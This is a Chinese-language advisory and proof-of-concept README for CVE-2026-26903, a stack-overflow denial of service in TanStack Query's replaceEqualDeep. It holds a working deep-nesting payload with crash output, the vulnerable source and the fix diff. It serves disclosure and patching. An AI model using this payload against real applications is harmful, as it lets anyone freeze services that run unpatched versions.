TanStack Query 的 replaceEqualDeep 函数中因无界递归导致的拒绝服务
单个精心构造的、包含深度嵌套对象的查询更新即可无限期冻结 JavaScript 线程,导致应用程序完全无响应。无需任何身份验证或特殊权限。
此漏洞已在 @tanstack/[email protected] 中通过 PR #10032 修复,该版本于 2026 年 1 月 14 日发布。
| 包名 | 受影响版本 | 修复版本 |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | 依赖存在漏洞的 query-core | 5.90.18+ |
| @tanstack/vue-query | 依赖存在漏洞的 query-core | 5.90.18+ |
| @tanstack/solid-query | 依赖存在漏洞的 query-core | 5.90.18+ |
| @tanstack/svelte-query | 依赖存在漏洞的 query-core | 6.1.7+ |
CVE-2026-26903:replaceEqualDeep 中通过无界递归导致的拒绝服务(严重级别:中)
TanStack Query 中的
replaceEqualDeep函数在比较嵌套对象时执行递归比较,且没有深度限制。当处理深度嵌套的数据结构时,这会触发无界递归,导致栈溢出和应用程序冻结。— 由 MITRE 分配
TanStack Query 的 replaceEqualDeep 函数在内部用于判断查询数据是否真的发生了变化,通过在可能的情况下保留对象引用来优化重新渲染。该函数递归遍历对象属性以执行深度相等性比较。
该递归实现缺少深度限制或循环检测:
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep 处理的查询更新useQuery hookssetQueryData、invalidateQueries 或任何查询缓存操作CVE-2026-26903-PoC/
├── README.md # This file
├── LICENSE
├── poc.js # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html # Browser PoC (interactive visual demo)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
方案 A:独立 HTML 演示(无依赖)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
方案 B:React 应用(真实场景)
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions
该 PoC 生成深度嵌套的对象,并触发 replaceEqualDeep 对其进行处理:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10,000 levels deep
const newData = generateDeep(10000); // Different object, same structure
// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2
├── replaceEqualDeep(...) // Level 3
└── ... (continues for 10,000 levels)
每次递归调用都会新增一个栈帧,直到 JavaScript 引擎的调用栈被耗尽,从而使线程冻结。
位置:@tanstack/query-core/src/utils.ts(约)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: No depth limit or cycle detection
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
该修复(已应用于 TanStack Query 提交 269351b)增加了深度限制以防止无界递归:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... middle section unchanged ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
关键变更:
depth 参数,默认值为 0,用于跟踪递归深度depth > 500 时立即返回 breplaceEqualDeep(aItem, bItem, depth + 1)这一简单修复在允许合理嵌套(500 层对于真实世界的数据结构来说绰绰有余)的同时,防止了栈溢出。
在 replaceEqualDeep 中实现深度限制:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Prevent deep recursion
if (a === b) return a;
// ... existing logic ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... rest of function
}
或者使用迭代遍历来代替递归。
本概念验证(PoC)仅供教育和授权安全测试目的使用。请负责任地使用它,且仅针对您拥有或已获得明确测试许可的应用程序。作者不对任何滥用此信息的行为负责。